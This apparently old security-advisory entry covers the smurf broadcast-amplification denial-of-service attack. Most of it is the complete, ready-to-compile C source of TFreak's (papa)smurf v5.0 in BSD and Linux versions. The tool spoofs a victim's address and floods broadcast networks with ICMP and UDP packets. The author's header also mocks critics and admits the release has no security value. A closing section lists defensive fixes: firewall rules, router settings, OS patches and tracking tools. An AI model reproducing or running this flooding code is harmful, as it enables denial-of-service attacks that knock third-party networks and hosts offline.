COMMAND
(papa)smurf
SYSTEMS AFFECTED
Whole bunch of systems
PROBLEM
One year after original smurf, TFreak does it again. You may read
his header. Nice literary work. BSDish and Linux-only version
below.
/*
* (papa)smurf.c v5.0 by TFreak
*
* A year ago today I made what remains the questionable decision of
* releasing my program 'smurf', a program which uses broadcast "amplifiers"
* to turn an icmp flood into an icmp holocaust, into the hands of packet
* monkeys, script kiddies and all round clueless idiots alike. Nine months
* following, a second program 'fraggle', smurfs udp cousin, was introducted
* into their Denial of Service orgy. This brings us to today, July 28,
* 1998, one year after my first "mistake". The result, proof that history
* does repeat itself and a hybrid of the original programs.
*
* First may I say that I in no way take credit for "discovering" this.
* There is no doubt in my mind that this idea was invisioned long before
* I was even sperm -- I merely decided to do something about it. Secondly,
* if you want to hold me personally responsible for turning the internet
* into a larger sesspool of crap than it already is, then may I take this
* opportunity to deliver to you a message of the utmost importance -- "Fuck
* you". If I didn't write it, someone else would have.
*
* I must admit that there really is no security value for me releasing this
* new version. In fact, my goals for the version are quite silly. First,
* I didn't like the way my old code looked, it was ugly to look at and it
* did some stupid unoptimized things. Second, it's smurfs one year
* birthday -- Since I highly doubt anyone would have bought it a cake, I
* thought I would do something "special" to commemorate the day.
*
* Hmm, I am starting to see why I am known for my headers (wage eats
* playdough!).
*
* Well, I guess this wouldn't be the same if I did not include some sort
* of shoutouts, so here goes...
*
* A hearty handshake to...
*
* o MSofty, pbug, Kain -- No matter which path each of you decides to
* take in the future, I will always look back upon these days as one
* of the most enjoyable, memorable and thought-provoking experiences
* of my life. I have nothing but the highest degree of respect for
* each of you, and I value your friendship immensely. Here's to
* living, learning and laughing -- Cheers gentlemen. --Dan
* o Hi JoJo!
* o morbid and his grandam barbiegirl gino styles, yo.
* o The old #havok crew.
* o Pharos,silph,chris@unix.org,Viola,Vonne,Dianora,fyber,silitek,
* brightmn,Craig Huegen,Dakal,Col_Rebel,Rick the Temp,jenni`,Paige,
* RedFemme,nici,everlast,and everyone else I know and love.
*
* A hearty enema using 15.0mol/L HCl to...
*
* o #Conflict. Perhaps you are just my scapegoat of agression, but you
* all really need to stop flooding efnet servers/taking over irc
* channels/mass owning networks running old qpoppers and get a
* fucking life.
* o BR. It wouldn't be the same without you in here, but to be honest
* you really aren't worth the space in the already way-to-bloated
* header, nor the creative energy of me coming up with an intricate
* bash that you will never understand anyway. Shrug, hatred disguises
* itself as apathy with time.
*
* I feel like I'm writing a fucking essay here...
*
* To compile: "gcc -DLINUX -o smurf5 papasmurf.c" if your LINUXish.
* or just
* "gcc -o smurf5 papasmurf.c" if your BSDish.
*
* Old linux kernels won't have BSD header support, so this may not compile.
* If you wish a linux-only version, do it yourself, or mail
* tfreak@jaded.net, and I might lend you mine.
*
* And most importantly, please don't abuse this. If you are going to do
* anything with this code, learn from it.
*
* I remain,
*
* TFreak.
*
*/
/* End of Hideously Long Header */
#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <time.h>
#ifdef LINUX
#define __FAVOR_BSD /* should be __FAVOUR_BSD ;) */
#ifndef _USE_BSD
#define _USE_BSD
#endif
#endif
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
#ifdef LINUX
#define FIX(n) htons(n)
#else
#define FIX(n) (n)
#endif
struct smurf_t
{
struct sockaddr_in sin; /* socket prot structure */
int s; /* socket */
int udp, icmp; /* icmp, udp booleans */
int rnd; /* Random dst port boolean */
int psize; /* packet size */
int num; /* number of packets to send */
int delay; /* delay between (in ms) */
u_short dstport[25+1]; /* dest port array (udp) */
u_short srcport; /* source port (udp) */
char *padding; /* junk data */
};
/* function prototypes */
void usage (char *);
u_long resolve (char *);
void getports (struct smurf_t *, char *);
void smurficmp (struct smurf_t *, u_long);
void smurfudp (struct smurf_t *, u_long, int);
u_short in_chksum (u_short *, int);
int
main (int argc, char *argv[])
{
struct smurf_t sm;
struct stat st;
u_long bcast[1024];
char buf[32];
int c, fd, n, cycle, num = 0, on = 1;
FILE *bcastfile;
/* shameless self promotion banner */
fprintf(stderr, "\n(papa)smurf.c v5.0 by TFreak\n\n");
if (argc < 3)
usage(argv[0]);
/* set defaults */
memset((struct smurf_t *) &sm, 0, sizeof(sm));
sm.icmp = 1;
sm.psize = 64;
sm.num = 0;
sm.delay = 10000;
sm.sin.sin_port = htons(0);
sm.sin.sin_family = AF_INET;
sm.srcport = 0;
sm.dstport[0] = 7;
/* resolve 'source' host, quit on error */
sm.sin.sin_addr.s_addr = resolve(argv[1]);
/* open the broadcast file */
if ((bcastfile = fopen(argv[2], "r")) == NULL)
{
perror("Opening broadcast file");
exit(-1);
}
/* parse out options */
optind = 3;
while ((c = getopt(argc, argv, "rRn:d:p:P:s:S:f:")) != -1)
{
switch (c)
{
/* random dest ports */
case 'r':
sm.rnd = 1;
break;
/* random src/dest ports */
case 'R':
sm.rnd = 1;
sm.srcport = 0;
break;
/* number of packets to send */
case 'n':
sm.num = atoi(optarg);
break;
/* usleep between packets (in ms) */
case 'd':
sm.delay = atoi(optarg);
break;
/* multiple ports */
case 'p':
if (strchr(optarg, ','))
getports(&sm, optarg);
else
sm.dstport[0] = (u_short) atoi(optarg);
break;
/* specify protocol */
case 'P':
if (strcmp(optarg, "icmp") == 0)
{
/* this is redundant */
sm.icmp = 1;
break;
}
if (strcmp(optarg, "udp") == 0)
{
sm.icmp = 0;
sm.udp = 1;
break;
}
if (strcmp(optarg, "both") == 0)
{
sm.icmp = 1;
sm.udp = 1;
break;
}
puts("Error: Protocol must be icmp, udp or both");
exit(-1);
/* source port */
case 's':
sm.srcport = (u_short) atoi(optarg);
break;
/* specify packet size */
case 'S':
sm.psize = atoi(optarg);
break;
/* filename to read padding in from */
case 'f':
/* open and stat */
if ((fd = open(optarg, O_RDONLY)) == -1)
{
perror("Opening packet data file");
exit(-1);
}
if (fstat(fd, &st) == -1)
{
perror("fstat()");
exit(-1);
}
/* malloc and read */
sm.padding = (char *) malloc(st.st_size);
if (read(fd, sm.padding, st.st_size) < st.st_size)
{
perror("read()");
exit(-1);
}
sm.psize = st.st_size;
close(fd);
break;
default:
usage(argv[0]);
}
} /* end getopt() loop */
/* create packet padding if neccessary */
if (!sm.padding)
{
sm.padding = (char *) malloc(sm.psize);
memset(sm.padding, 0, sm.psize);
}
/* create the raw socket */
if ((sm.s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
{
perror("Creating raw socket (are you root?)");
exit(-1);
}
/* Include IP headers ourself (thanks anyway though) */
if (setsockopt(sm.s, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
{
perror("setsockopt()");
exit(-1);
}
/* read in our broadcasts and store them in our array */
while (fgets(buf, sizeof buf, bcastfile) != NULL)
{
char *p;
int valid;
/* skip over comments/blank lines */
if (buf[0] == '#' || buf[0] == '\n') continue;
/* get rid of newline */
buf[strlen(buf) - 1] = '\0';
/* check for valid address */
for (p = buf, valid = 1; *p != '\0'; p++)
{
if ( ! isdigit(*p) && *p != '.' )
{
fprintf(stderr, "Skipping invalid ip %s\n", buf);
valid = 0;
break;
}
}
/* if valid address, copy to our array */
if (valid)
{
bcast[num] = inet_addr(buf);
num++;
if (num == 1024)
break;
}
} /* end bcast while loop */
/* seed our random function */
srand(time(NULL) * getpid());
/* wee.. */
for (n = 0, cycle = 0; n < sm.num || !sm.num; n++)
{
if (sm.icmp)
smurficmp(&sm, bcast[cycle]);
if (sm.udp)
{
int x;
for (x = 0; sm.dstport[x] != 0; x++)
smurfudp(&sm, bcast[cycle], x);
}
/* quick nap */
usleep(sm.delay);
/* cosmetic psychadelic dots */
if (n % 50 == 0)
{
printf(".");
fflush(stdout);
}
cycle = (cycle + 1) % num;
}
exit(0);
}
void
usage (char *s)
{
fprintf(stderr,
"usage: %s <source host> <broadcast file> [options]\n"
"\n"
"Options\n"
"-p: Comma separated list of dest ports (default 7)\n"
"-r: Use random dest ports\n"
"-R: Use random src/dest ports\n"
"-s: Source port (0 for random (default))\n"
"-P: Protocols to use. Either icmp, udp or both\n"
"-S: Packet size in bytes (default 64)\n"
"-f: Filename containg packet data (not needed)\n"
"-n: Num of packets to send (0 is continuous (default))\n"
"-d: Delay inbetween packets (in ms) (default 10000)\n"
"\n", s);
exit(-1);
}
u_long
resolve (char *host)
{
struct in_addr in;
struct hostent *he;
/* try ip first */
if ((in.s_addr = inet_addr(host)) == -1)
{
/* nope, try it as a fqdn */
if ((he = gethostbyname(host)) == NULL)
{
/* can't resolve, bye. */
herror("Resolving victim host");
exit(-1);
}
memcpy( (caddr_t) &in, he->h_addr, he->h_length);
}
return(in.s_addr);
}
void
getports (struct smurf_t *sm, char *p)
{
char tmpbuf[16];
int n, i;
for (n = 0, i = 0; (n < 25) && (*p != '\0'); p++, i++)
{
if (*p == ',')
{
tmpbuf[i] = '\0';
sm->dstport[n] = (u_short) atoi(tmpbuf);
n++; i = -1;
continue;
}
tmpbuf[i] = *p;
}
tmpbuf[i] = '\0';
sm->dstport[n] = (u_short) atoi(tmpbuf);
sm->dstport[n + 1] = 0;
}
void
smurficmp (struct smurf_t *sm, u_long dst)
{
struct ip *ip;
struct icmp *icmp;
char *packet;
int pktsize = sizeof(struct ip) + sizeof(struct icmp) + sm->psize;
packet = malloc(pktsize);
ip = (struct ip *) packet;
icmp = (struct icmp *) (packet + sizeof(struct ip));
memset(packet, 0, pktsize);
/* fill in IP header */
ip->ip_v = 4;
ip->ip_hl = 5;
ip->ip_tos = 0;
ip->ip_len = FIX(pktsize);
ip->ip_ttl = 255;
ip->ip_off = 0;
ip->ip_id = FIX( getpid() );
ip->ip_p = IPPROTO_ICMP;
ip->ip_sum = 0;
ip->ip_src.s_addr = sm->sin.sin_addr.s_addr;
ip->ip_dst.s_addr = dst;
/* fill in ICMP header */
icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8)); /* thx griffin */
/* send it on its way */
if (sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin,
sizeof(struct sockaddr)) == -1)
{
perror("sendto()");
exit(-1);
}
free(packet); /* free willy! */
}
void
smurfudp (struct smurf_t *sm, u_long dst, int n)
{
struct ip *ip;
struct udphdr *udp;
char *packet, *data;
int pktsize = sizeof(struct ip) + sizeof(struct udphdr) + sm->psize;
packet = (char *) malloc(pktsize);
ip = (struct ip *) packet;
udp = (struct udphdr *) (packet + sizeof(struct ip));
data = (char *) (packet + sizeof(struct ip) + sizeof(struct udphdr));
memset(packet, 0, pktsize);
if (*sm->padding)
memcpy((char *)data, sm->padding, sm->psize);
/* fill in IP header */
ip->ip_v = 4;
ip->ip_hl = 5;
ip->ip_tos = 0;
ip->ip_len = FIX(pktsize);
ip->ip_ttl = 255;
ip->ip_off = 0;
ip->ip_id = FIX( getpid() );
ip->ip_p = IPPROTO_UDP;
ip->ip_sum = 0;
ip->ip_src.s_addr = sm->sin.sin_addr.s_addr;
ip->ip_dst.s_addr = dst;
/* fill in UDP header */
if (sm->srcport) udp->uh_sport = htons(sm->srcport);
else udp->uh_sport = htons(rand());
if (sm->rnd) udp->uh_dport = htons(rand());
else udp->uh_dport = htons(sm->dstport[n]);
udp->uh_ulen = htons(sizeof(struct udphdr) + sm->psize);
// udp->uh_sum = in_chksum((u_short *)udp, sizeof(udp));
/* send it on its way */
if (sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin,
sizeof(struct sockaddr)) == -1)
{
perror("sendto()");
exit(-1);
}
free(packet); /* free willy! */
}
u_short
in_chksum (u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *)(&answer) = *(u_char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum + 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
Linux-only version.
/*
* (papa)smurf.c v5.0 by TFreak (Linux header version)
*
* To compile: "gcc -o smurf5 papasmurf-linux.c"
*
* NOTE: This version is Linux specific.
*
* TFreak.
*/
/* End of Hideously Long Header */
#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <time.h>
#ifdef __USE_BSD
#undef __USE_BSD
#endif
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
struct smurf_t
{
struct sockaddr_in sin; /* socket prot structure */
int s; /* socket */
int udp, icmp; /* icmp, udp booleans */
int rnd; /* Random dst port boolean */
int psize; /* packet size */
int num; /* number of packets to send */
int delay; /* delay between (in ms) */
u_short dstport[25+1]; /* dest port array (udp) */
u_short srcport; /* source port (udp) */
char *padding; /* junk data */
};
/* function prototypes */
void usage (char *);
u_long resolve (char *);
void getports (struct smurf_t *, char *);
void smurficmp (struct smurf_t *, u_long);
void smurfudp (struct smurf_t *, u_long, int);
u_short in_chksum (u_short *, int);
int
main (int argc, char *argv[])
{
struct smurf_t sm;
struct stat st;
u_long bcast[1024];
char buf[32];
int c, fd, n, cycle, num = 0, on = 1;
FILE *bcastfile;
/* shameless self promotion banner */
fprintf(stderr, "\n(papa)smurf.c v5.0 by TFreak\n\n");
if (argc < 3)
usage(argv[0]);
/* set defaults */
memset((struct smurf_t *) &sm, 0, sizeof(sm));
sm.icmp = 1;
sm.psize = 64;
sm.num = 0;
sm.delay = 10000;
sm.sin.sin_port = htons(0);
sm.sin.sin_family = AF_INET;
sm.srcport = 0;
sm.dstport[0] = 7;
/* resolve 'source' host, quit on error */
sm.sin.sin_addr.s_addr = resolve(argv[1]);
/* open the broadcast file */
if ((bcastfile = fopen(argv[2], "r")) == NULL)
{
perror("Opening broadcast file");
exit(-1);
}
/* parse out options */
optind = 3;
while ((c = getopt(argc, argv, "rRn:d:p:P:s:S:f:")) != -1)
{
switch (c)
{
/* random dest ports */
case 'r':
sm.rnd = 1;
break;
/* random src/dest ports */
case 'R':
sm.rnd = 1;
sm.srcport = 0;
break;
/* number of packets to send */
case 'n':
sm.num = atoi(optarg);
break;
/* usleep between packets (in ms) */
case 'd':
sm.delay = atoi(optarg);
break;
/* multiple ports */
case 'p':
if (strchr(optarg, ','))
getports(&sm, optarg);
else
sm.dstport[0] = (u_short) atoi(optarg);
break;
/* specify protocol */
case 'P':
if (strcmp(optarg, "icmp") == 0)
{
/* this is redundant */
sm.icmp = 1;
break;
}
if (strcmp(optarg, "udp") == 0)
{
sm.icmp = 0;
sm.udp = 1;
break;
}
if (strcmp(optarg, "both") == 0)
{
sm.icmp = 1;
sm.udp = 1;
break;
}
puts("Error: Protocol must be icmp, udp or both");
exit(-1);
/* source port */
case 's':
sm.srcport = (u_short) atoi(optarg);
break;
/* specify packet size */
case 'S':
sm.psize = atoi(optarg);
break;
/* filename to read padding in from */
case 'f':
/* open and stat */
if ((fd = open(optarg, O_RDONLY)) == -1)
{
perror("Opening packet data file");
exit(-1);
}
if (fstat(fd, &st) == -1)
{
perror("fstat()");
exit(-1);
}
/* malloc and read */
sm.padding = (char *) malloc(st.st_size);
if (read(fd, sm.padding, st.st_size) < st.st_size)
{
perror("read()");
exit(-1);
}
sm.psize = st.st_size;
close(fd);
break;
default:
usage(argv[0]);
}
} /* end getopt() loop */
/* create packet padding if neccessary */
if (!sm.padding)
{
sm.padding = (char *) malloc(sm.psize);
memset(sm.padding, 0, sm.psize);
}
/* create the raw socket */
if ((sm.s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
{
perror("Creating raw socket (are you root?)");
exit(-1);
}
/* Include IP headers ourself (thanks anyway though) */
if (setsockopt(sm.s, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
{
perror("setsockopt()");
exit(-1);
}
/* read in our broadcasts and store them in our array */
while (fgets(buf, sizeof buf, bcastfile) != NULL)
{
char *p;
int valid;
/* skip over comments/blank lines */
if (buf[0] == '#' || buf[0] == '\n') continue;
/* get rid of newline */
buf[strlen(buf) - 1] = '\0';
/* check for valid address */
for (p = buf, valid = 1; *p != '\0'; p++)
{
if ( ! isdigit(*p) && *p != '.' )
{
fprintf(stderr, "Skipping invalid ip %s\n", buf);
valid = 0;
break;
}
}
/* if valid address, copy to our array */
if (valid)
{
bcast[num] = inet_addr(buf);
num++;
if (num == 1024)
break;
}
} /* end bcast while loop */
/* seed our random function */
srand(time(NULL) * getpid());
/* wee.. */
for (n = 0, cycle = 0; n < sm.num || !sm.num; n++)
{
if (sm.icmp)
smurficmp(&sm, bcast[cycle]);
if (sm.udp)
{
int x;
for (x = 0; sm.dstport[x] != 0; x++)
smurfudp(&sm, bcast[cycle], x);
}
/* quick nap */
usleep(sm.delay);
/* cosmetic psychadelic dots */
if (n % 50 == 0)
{
printf(".");
fflush(stdout);
}
cycle = (cycle + 1) % num;
}
exit(0);
}
void
usage (char *s)
{
fprintf(stderr,
"usage: %s <source host> <broadcast file> [options]\n"
"\n"
"Options\n"
"-p: Comma separated list of dest ports (default 7)\n"
"-r: Use random dest ports\n"
"-R: Use random src/dest ports\n"
"-s: Source port (0 for random (default))\n"
"-P: Protocols to use. Either icmp, udp or both\n"
"-S: Packet size in bytes (default 64)\n"
"-f: Filename containg packet data (not needed)\n"
"-n: Num of packets to send (0 is continuous (default))\n"
"-d: Delay inbetween packets (in ms) (default 10000)\n"
"\n", s);
exit(-1);
}
u_long
resolve (char *host)
{
struct in_addr in;
struct hostent *he;
/* try ip first */
if ((in.s_addr = inet_addr(host)) == -1)
{
/* nope, try it as a fqdn */
if ((he = gethostbyname(host)) == NULL)
{
/* can't resolve, bye. */
herror("Resolving victim host");
exit(-1);
}
memcpy( (caddr_t) &in, he->h_addr, he->h_length);
}
return(in.s_addr);
}
void
getports (struct smurf_t *sm, char *p)
{
char tmpbuf[16];
int n, i;
for (n = 0, i = 0; (n < 25) && (*p != '\0'); p++, i++)
{
if (*p == ',')
{
tmpbuf[i] = '\0';
sm->dstport[n] = (u_short) atoi(tmpbuf);
n++; i = -1;
continue;
}
tmpbuf[i] = *p;
}
tmpbuf[i] = '\0';
sm->dstport[n] = (u_short) atoi(tmpbuf);
sm->dstport[n + 1] = 0;
}
void
smurficmp (struct smurf_t *sm, u_long dst)
{
struct iphdr *ip;
struct icmphdr *icmp;
char *packet;
int pktsize = sizeof(struct iphdr) + sizeof(struct icmphdr) + sm->psize;
packet = malloc(pktsize);
ip = (struct iphdr *) packet;
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));
memset(packet, 0, pktsize);
/* fill in IP header */
ip->version = 4;
ip->ihl = 5;
ip->tos = 0;
ip->tot_len = htons(pktsize);
ip->id = htons(getpid());
ip->frag_off = 0;
ip->ttl = 255;
ip->protocol = IPPROTO_ICMP;
ip->check = 0;
ip->saddr = sm->sin.sin_addr.s_addr;
ip->daddr = dst;
/* fill in ICMP header */
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->checksum = htons(~(ICMP_ECHO << 8)); /* thx griffin */
/* send it on its way */
if (sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin,
sizeof(struct sockaddr)) == -1)
{
perror("sendto()");
exit(-1);
}
free(packet); /* free willy! */
}
void
smurfudp (struct smurf_t *sm, u_long dst, int n)
{
struct iphdr *ip;
struct udphdr *udp;
char *packet, *data;
int pktsize = sizeof(struct iphdr) + sizeof(struct udphdr) + sm->psize;
packet = (char *) malloc(pktsize);
ip = (struct iphdr *) packet;
udp = (struct udphdr *) (packet + sizeof(struct iphdr));
data = (char *) (packet + sizeof(struct iphdr) + sizeof(struct udphdr));
memset(packet, 0, pktsize);
if (*sm->padding)
memcpy((char *)data, sm->padding, sm->psize);
/* fill in IP header */
ip->version = 4;
ip->ihl = 5;
ip->tos = 0;
ip->tot_len = htons(pktsize);
ip->id = htons(getpid());
ip->frag_off = 0;
ip->ttl = 255;
ip->protocol = IPPROTO_UDP;
ip->check = 0;
ip->saddr = sm->sin.sin_addr.s_addr;
ip->daddr = dst;
/* fill in UDP header */
if (sm->srcport) udp->source = htons(sm->srcport);
else udp->source = htons(rand());
if (sm->rnd) udp->dest = htons(rand());
else udp->dest = htons(sm->dstport[n]);
udp->len = htons(sizeof(struct udphdr) + sm->psize);
// udp->check = in_chksum((u_short *)udp, sizeof(udp));
/* send it on its way */
if (sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin,
sizeof(struct sockaddr)) == -1)
{
perror("sendto()");
exit(-1);
}
free(packet); /* free willy! */
}
u_short
in_chksum (u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *)(&answer) = *(u_char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum + 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
SOLUTION
See:
http://www.quadrunner.com/~chuegen/smurf.txt
for the information on how to protect your network, as well as how
to prevent _helping_ those who are launching the attacks.
MCI is currently working on a patch or dectector of some kind for
it, which is available at:
http://www.internetnews.com/isp-news/1997/10/0901-mci.html
See:
http://www.security.mci.net/dostracker/
for more details. It's a perl script which will log into a series
of Cisco routers and track an attack interface-by-interface to the
edge of the network.
Jon Lewis posted how to fix that under Linux. You can accomplish
that with ipfwadm:
ipfwadm -I -a deny -P icmp -D 123.123.123.0 -S 0/0 0 8
ipfwadm -I -a deny -P icmp -D 123.123.123.255 -S 0/0 0 8
Replace 123.123.123.0 and 123.123.123.255 with the actual network
and broadcast addresses for your lan.
Brad Powell posted same thing for Sun. Below is a shell script
that is part of titan a tool suite that fixes many of these common
problems in/for Solaris (only/mostly).
#!/bin/sh
# bpowell 06/21/97 script to add the ndd line to disable response to echo
# modifies S69inet
#
# Note
###
# This tool suite was written by and is copyright Brad Powell 1991,
# 1992, 1993, 1994, 1995, and 1996, with help and input from Casper Dik,
# Alec Muffett, Dan Farmer, and Matt Archibald.
#
# The copyright holder disclaims all responsibility or liability with
# respect to its usage or its effect upon hardware or computer
# systems, and maintains copyright as set out in the "LICENCE"
# document which accompanies distribution.
#
# Titan version 0.1
#
# setup
PATH=/usr/ucb:/bin:/usr/bin:/sbin
MYNAME=`basename $0`
# Check for execution by root
if [ `/usr/xpg4/bin/id -un` != root ]
then
echo " "
echo >&2 "$MYNAME: error: must be run as root."
echo " "
exit 1
fi
# Introduction
# cat << EOF
#
# This disables ip_respond_to_echo_broadcast so that specific ping crashes
# don't work
# The program modifies /etc/rc2.d/S69inet
#
# ndd -set /dev/ip ip_respond_to_echo_broadcast 0
# EOF
# echo press enter to continue"\c"
# read YN
if test -f /etc/rc2.d/S??inet
then
echo " Now adding the new ndd command"
ed - /etc/rc2.d/S??inet <<- !
g/tcp_old_urp_interpretation
a
ndd -set /dev/ip ip_respond_to_echo_broadcast 0
.
w
Q
!
echo " Modifcations to rc2.d complete"
fi
echo " Done."
On AIX the "no" command is used to turn this feature on and off.
By default AIX will not respond to pings to the brodcast address.
This works only for AIX4. Aix 3 variants will respond to a
broadcast ping, and the 'no' command (for AIX3) does not support
the 'bcastping' directive. For a startup script, the 'no' syntax
for AIX4 is:
no -o bcastping=0 # disable bcast ping responses (default)
no -o bcastping=1 # enable bcast ping responses
Cray Research - A Silicon Graphics Company with current versions
of Unicos and Unicos/mk do not have the ability to reject ICMP
requests send to broadcast addresses. They are tracking this
problem through SPR 709733.
Cisco recommends the following configuration settings as
protection against being used as an intermediary in smurf attacks:
1. Disabling IP directed broadcast for all interfaces on which
it is not needed. This must be done on all routers in the
network, not just on the border routers. The command "no ip
directed-broadcast" should be applied to each interface on
which directed broadcasts are to be disabled. Very few IP
applications actually need to use directed broadcasts, and
it's extremely rare for such an application to be in use in
a network without the knowledge of the network
administrator. Nonetheless, as when any functionality is
disabled, you should be alert for possible problems. This
is the preferred solution for most networks.
2. If your network configuration is simple enough for you
to create and maintain a list of all the directed
broadcast addresses in your network, and if you have a
well-defined perimeter separating your own network from
potentially hostile networks, consider using a filter
at the perimeter to prevent directed broadcasts from
entering the network. For example, if your network
number is 172.16.0.0, and you uniformly use a subnet
mask of 255.255.255.0, then you might use a Cisco access
list entry like:
access-list 101 deny ip 0.0.0.0 255.255.255.255 172.16.0.255 0.0.255.0
Note that this is not a complete access list; it's
simply a single entry. See the Cisco documentation for
more information on configuring access lists. The best
place to apply such a filter is usually on the incoming
side of each router interface that connects to the
potentially hostile network.
FreeBSD patched their release. Patch:
Index: ip_icmp.c
===================================================================
RCS file: /home/ncvs/src/sys/netinet/ip_icmp.c,v
retrieving revision 1.29
retrieving revision 1.30
diff -c -r1.29 -r1.30
*** ip_icmp.c 1997/08/25 16:29:27 1.29
--- ip_icmp.c 1998/05/26 11:34:30 1.30
***************
*** 375,382 ****
case ICMP_ECHO:
if (!icmpbmcastecho
! && (m->m_flags & (M_MCAST | M_BCAST)) != 0
! && IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) {
icmpstat.icps_bmcastecho++;
break;
}
--- 375,381 ----
case ICMP_ECHO:
if (!icmpbmcastecho
! && (m->m_flags & (M_MCAST | M_BCAST)) != 0) {
icmpstat.icps_bmcastecho++;
break;
}
***************
*** 385,392 ****
case ICMP_TSTAMP:
if (!icmpbmcastecho
! && (m->m_flags & (M_MCAST | M_BCAST)) != 0
! && IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) {
icmpstat.icps_bmcasttstamp++;
break;
}
--- 384,390 ----
case ICMP_TSTAMP:
if (!icmpbmcastecho
! && (m->m_flags & (M_MCAST | M_BCAST)) != 0) {
icmpstat.icps_bmcasttstamp++;
break;
}
Under NetBSD you can disable directed broadcast with this command,
as root:
# sysctl -w net.inet.ip.directed-broadcast=0
As for Win NT, I beleive Q154174 is addressing this issue.
"Computers running Windows NT or Windows 95 may stop responding
(hang) when they receive corrupted Internet Control Message
Protocol (ICMP) datagram fragments from a client." "..This hotfix
was originally posted on July 7, 1997. A subsequent fix was
completed on January 9, 1998 to address another nearly identical
attack and this hotfix has replaced the original one... "
http://support.microsoft.com/support/kb/articles/q154/1/74.asp
There's also SmurfLog available. The latest version of SmurfLog
can be found at
http://www.sy.net/security